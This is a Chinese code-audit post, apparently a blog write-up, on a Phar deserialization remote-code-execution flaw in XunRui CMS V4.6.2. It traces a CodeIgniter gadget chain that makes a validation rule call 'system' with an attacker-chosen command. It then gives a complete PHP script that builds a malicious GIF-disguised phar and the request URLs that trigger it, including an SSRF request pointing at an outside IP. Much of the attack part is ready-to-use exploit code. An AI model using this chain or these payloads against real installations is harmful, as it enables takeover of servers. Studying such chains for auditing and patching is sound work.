【代码审计】迅睿CMS V4.6.2 Phar反序列化 RCE

24年国赛初赛出过迅睿

【Web】CISCN 2024初赛 题解(全)

当时是打一个SSRF

复制代码
?s=api&c=api&m=qrcode&text=xxx&size=1024&level=1&thumb=http://124.222.136.33:1338/302.php

但该版本已修了,禁用了http(s)协议

存在getimagesize,可以触发phar反序列化

只要找到个链子,再随便找个文件上传点就能拿下了

比如上传头像

接下来看链子的逻辑

这是一个事件触发器方法,用于按顺序执行指定事件的所有回调函数并传递处理数据

注意只能调本类的方法

选用本类的validate方法

找一个符合传参格式的run

后面会调用processRules

看下processRules实现

rule的值设为system,value的值设为calc即RCE

目标已知后,回头再来看

先来看$rule从何来

首先BaseModel.validate先调用getValidationRules()

$rules为本类的validationRules属性

接下来调用validation对象的loadRuleGroup方法

$this->config->validationRules作为setRules的参数

setRules会进行一些预处理,类似"套一层壳"

如,当rule直接为字符串时,则会转成一个以'rules'为键的数组,数组的值为split后的rule

举例:

复制代码
$rules = ['test' => 'system'];
// 转换为:
['test' => ['rules' => ['system']]]

接下来令cleanValidationRules为false,过掉if

再次走入setRules,对规范化后的$rules无影响

最后带着DBGroup走入run

DBGroup的值被赋给$data'DBGroup'

dot_array_search的实现其实就是从data数组中去查询field字段对应的值

data\['DBGroup'\]值为传入的dbGroup

所以只要令field为DBGroup即可使value可控

回头看,$rules实际上就是"脱了setRules套的壳"

走到最后,value和rules都是我们可控的

rule为rules数组键值对的值

最终任意代码执行

最终exp:

复制代码
<?php
namespace CodeIgniter\Cache\Handlers {

    use CodeIgniter\Session\Handlers\MemcachedHandler;

    class RedisHandler {
        protected $redis;

        public function __construct(MemcachedHandler $memcachedHandler) {
            $this->redis = $memcachedHandler;
        }
    }
}

namespace CodeIgniter\Session\Handlers {

    use CodeIgniter\Model;
    use CodeIgniter\Validation\Validation;

    class MemcachedHandler {
        protected $memcached;
        public $lockKey;

        public function __construct($lockKey = '123', Model $model = null) {
            $this->lockKey = $lockKey;
            $this->memcached = $model ?: new Model(new Validation());
        }
    }
}

namespace CodeIgniter {

    use CodeIgniter\Validation\Validation;

    abstract class BaseModel {
    }

    class Model extends BaseModel {
        public $validation;
        public $tempAllowCallbacks;
        public $beforeDelete;
        public $validationRules;
        public $cleanValidationRules;
        public $DBGroup;

        public function __construct(Validation $validation,$cmd = 'calc') {  //这里控制执行的命令
            $this->validation = $validation;
            $this->tempAllowCallbacks = true;
            $this->beforeDelete = ['abc' => 'validate'];
            $this->validationRules = 'rules';
            $this->DBGroup = $cmd;
            $this->cleanValidationRules = false;
        }
    }
}

namespace CodeIgniter\Validation {
    class Validation {
        protected $config;
        protected $rules = [];
        protected $ruleSetFiles;

        public function __construct() {
            $this->config = $this;
            $this->rules = ['DBGroup' => 'system'];
            $this->ruleSetFiles = [0 => 'stdClass'];
        }
    }
}

namespace {

    use CodeIgniter\Cache\Handlers\RedisHandler;
    use CodeIgniter\Session\Handlers\MemcachedHandler;

    $memcachedHandler = new MemcachedHandler();
    $redisHandler = new RedisHandler($memcachedHandler);

    $phar = new Phar("shell.phar"); //生成phar文件
    $phar->startBuffering();
    $phar->setStub("GIF89a"." __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($redisHandler);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

生成恶意phar

先上传恶意phar

触发phar反序列化

复制代码
?s=api&c=api&m=qrcode&text=1111&size=10001&level=1&thumb=phar://./uploadfile/member/000/00/00/1.jpg
相关推荐
Chengbei1112 小时前
SRC报告成稿 Skill(SRC/0day 提交稿、分层验证门、Step 式 PoC、截图铁律)
网络·人工智能·安全·web安全·自动化·系统安全
一只鹿鹿鹿12 小时前
SCM流程图参考(PPT文件)
大数据·数据库·web安全·系统安全·流程图
sbjdhjd13 小时前
PHP eval 型 RCE:flag 正则过滤与通配符绕过实操 | 01
安全·web安全·网络安全·开源·系统安全·php·网络攻击模型
数据知道14 小时前
静态分析入门——PE 结构、字符串、导入表快速定性
网络·安全·web安全·网络安全
蒲公英eric16 小时前
从宽松策略到严格限制:DVWA CSP 绕过模块完整漏洞分析教程
web安全·ai·dvwa·ai安全·csp bypass·csp绕过
慧都小项1 天前
从 Burp Suite Professional 到 DAST:把 Web 安全测试接入持续 AppSec 的工程化路径
测试工具·web安全·网络安全·burp suite
三8441 天前
应急响应之账户排查 + 计划任务排查 + 进程排查
web安全·应急响应·windows账户排查·应急响应linux排查
0xBADCODE1 天前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
数据知道2 天前
恶意软件分析实验室搭建——沙箱、快照、网络隔离
网络·安全·web安全·网络安全
奔跑的卡卡2 天前
线上Web异常发现为什么总是滞后?一套自研Web实时异常分析监控系统整体架构拆解
前端·web安全·架构